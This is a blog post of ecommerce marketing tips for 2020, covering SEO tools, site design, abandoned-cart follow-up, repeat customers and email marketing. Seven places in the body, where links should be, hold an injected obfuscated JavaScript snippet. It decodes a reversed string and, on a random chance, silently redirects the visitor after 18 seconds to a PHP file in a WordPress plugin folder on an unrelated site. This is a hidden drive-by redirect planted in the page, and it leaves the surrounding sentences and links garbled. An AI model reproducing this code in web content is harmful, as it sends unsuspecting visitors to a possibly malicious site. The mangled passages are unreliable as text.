Four Essential Tips For Marketing Your Ecommerce Businesses in 2020
Online shopping statistics show that while the majority of consumer spending is still made at brick and mortar stores, independent ecommerce stores that are direct to consumer are indeed on the rise. With that in mind, if you are an entrepeneur looking to break into ecommerce- or if you already operate an ecommerce store but are struggling with revenue, there are a few cardinal practices that can increase your success no matter what. That’s why we’ve put together a list of the four most essential practices for marketing your ecommerce business to help you grow your business in 2020.
1. Help Customers Find You
Say you’re a small or solopreneur-run ecommerce business bootstrapping it with little to no budget for SEO optimization. Then, the best thing you can do is just hope to pick the right words in your copy, right? Wrong. For an inexpensive subscription you can use online services like ahrefs to test key words and see the effective key words being used by your competitors. While there are things you can do once customers have come to your site (which we’ll discuss momentarily), in the beginning stages of development, the ability to see who is organically searching for products or services like the ones your company offers is of significant importance.
Seeing who organically comes to your website through their own searches might unveil a pattern of which demographics to target with marketing campaigns, or it might disprove assumptions about customer types you might have initially had. As well, your first encounter with customers shows you something about them: Did they only look around? did they put items in the cart and abandon them? If so, why?
If there is something you can improve – and there is always something – you want to have as many insights and perspectives as possible to figure out what it is you can improve. Your customers’ behavior is almost always the best insight you can have, which is also why it is so important to keep them coming back.
2. Improve Your Website
When your customers come to your website they need to be captivated. The average attention span in 2017 was only eight seconds long, according to a study $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}today.com/marketing/4-ways-capture-and-keep-your-target-audiences-attention”>conducted by Microsoft, and so it is critical that any investment you can make to beautify your web copy and design is made.
Exceptional companies stand out because of their visual impacts. The best online stores are $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tores”>ubiquitously praised for their “photography”, “graphics”, “design”, and “aesthetics”, which is a testament to the power of visuals in a world of screens. If you are selling products that customers are engaging with for the first time, your visuals will be the first thing to make them fall in love with your products. $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}today.com/marketing/4-ways-capture-and-keep-your-target-audiences-attention”>Videos, such as tutorials, demonstrations, and testimonials, all also excite new visitors to your site. If possible, a well-written blog will also help augment your SEO efforts while offering your customers content that relates to their journey.
Finally, you want to ensure that your website is optimized to attract customers when they are ready to purchase. Therefore, you want to make sure that friction is eliminated through ensuring your website $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}today.com/marketing/4-ways-capture-and-keep-your-target-audiences-attention”>loads quickly, the process of checking out is smooth and enjoyable, and when they get to check out they are presented with a full break down of the costs, and if you can put free shipping you’ll eliminate the greatest cause of cart abandonment.
3. Get More From The Customers You Already Have
The cost for acquiring new customers is high, and often involves a few interactions for people to purchase from a new brand. For that reason it’s important that your website and marketing stategy are set up to keep customers coming back.
For starters, don’t treat abandoned carts as losses, but as customers you haven’t converted yet. Given that 69% of carts are abandoned following up with them is just part of converting customers. When customers abandon carts you can use redirected ads, demographic-focused ads, and social media ads to get them to come back to your site.
Another highly effective method is to send an abandoned cart email. Send a playful message after a few days inviting people to come back and complete their purchase. Once they have, send them a follow up email a few days after their purchase has arrived to check in on how they’re liking it, and if they’re not, act quickly to improve their experience. There are a lot of tools to help you to increase conversion rates on your site.
Return business is much more valuable long term than finding many one-time shoppers. Repeat business is what keeps you in business. But beyond that, growing repeat business is how you increase annual revenues. The toothbrush company $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toothbrush-set?utm_source=google&utm_medium=cpc&utm_campaign=&utm_content=&utm_term=&gclid=CjwKCAiAjrXxBRAPEiwAiM3DQn5WHrcC52GOEMo0EnkJmu32lX9LVq_9rJL8yA2RAUt0Wt9-ZMRWJhoCQNAQAvD_BwE”>Quip is a great example: its sleekly displayed toothbrush has replaceable heads. Shoppers have the option to buy a “refill plan” (with a 20% discount for prepaying months in advance) that will send them an entirely fresh toothbrush kit. This system of recurring revenue and rewarding customer loyalty are essential strategies for growing any ecommerce business.
4. Build Deeper Relationships
It is important surely to be in the picture on as many platforms as possible. After all, a well-placed ad on a social media feed can yield a conversion, but it doesn’t guarantee return business, or referrals.
What will yield the both of those is getting to know your customers intimately. Find a way to get their email, and use that platform to send them content relevant to their lives (as it pertains to the customer journey). Many people block out the noise of social media ads, but newsletters with links to a blog with neatly laid-out, informative and entertaining articles will keep page traffic steady. Email marketing might be one of the oldest tricks in the ecommerce book, but it’s tried and true: averaging just 17% of marketing budgets, email marketing generates about 24% of revenue.
Don’t forget to get content from your users. UGC (User Generated Content) is not only mostly free, but it helps build a community. Competitions, referral rewards, and forums for reviews and discussion about your products keep people engaged, and they help new customers trust you because other real people are validating your claims.
It is not a granted that online is always easier. Gen Z shoppers are $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tores-vs-online-retail-sites-4571050″>11% less likely to shop online than millennials, a trend that should it continue, will mean a higher benchmark for customers to do business with you online. What will be essential as the world of ecommerce grows will be to foster signs that you embody The Three Rs: reliable, responsive, and reputable.
One highly effective way to get new customers is to partner with affiliate marketers and influencers. People with $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-pick-a-profitable-niche-for-your-online-business-4000460″>audiences that trust them can be exactly the familiar introduction that will bring lots of new customers through existing audiences. This strategy has become so popular because of its relative lower cost and higher yield.
While some businesses might need some more of one than the other, all of them will help any business in some capacity. All ecommerce businesses should seek to challenge their own assumptions and seek new insights. These will be the things that will foster new, loyal customers, regardless of industry.
